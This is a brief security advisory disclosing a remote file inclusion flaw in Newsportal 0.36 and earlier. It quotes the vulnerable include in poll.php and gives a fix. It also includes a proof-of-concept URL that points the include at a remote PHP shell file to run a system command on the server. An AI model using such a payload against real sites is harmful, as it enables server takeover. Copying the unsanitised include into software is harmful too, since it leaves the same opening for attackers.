Newsportal <= 0.36 Remote File Inclusion Vulnerability

[+] Affected Software: Newsportal <= 0.36 + register_globals=on

[+] Vendor: http://florian-amrhein.de/newsportal

[+] Contact. philipp.niedziela (at) gmx (dot) de [email concealed]

[+] Vuln discovered by: Florian Amrhein

[+] PoC by: Philipp Niedziela

// CODE [newsportal]/extras/poll/poll.php --------------------------------------------

<?

// experimental!

// fills article-cache

$url=explode("/",$PATH_INFO);

$group=$url[1];

include "config.inc";

$title.= ' - '.$group;

include "head.inc"; ?>

<a name="top"></a>

<h1 align="center"><?php echo $group; ?></h1>

<p>Lese Overview- und Artikeldaten ein...</p>

<?

// -----> VULN

include("$file_newsportal");

// <----- VULN

$ns=OpenNNTPconnection($server,$port);

flush();

if ($ns != false) {

$headers = readOverview($ns,$group,1,true);

closeNNTPconnection($ns);

}

?>

<p align="right"><a href="#top"><? echo $text_thread["button_top"];?></a></p>

<? include "tail.inc"; ?>

// CODE --------------------------------------------

[+] PoC:

http://[url]/[pathtonewsportal]/extras/poll/poll.php?file_newsportal=htt
p://localhost/phpshell.txt?cmd=uname -a

[+] Solution: Upgrade to 0.37 || del. [newsportal]/extras/poll/poll.php

[+] Greets: Lenni :)

[ reply ]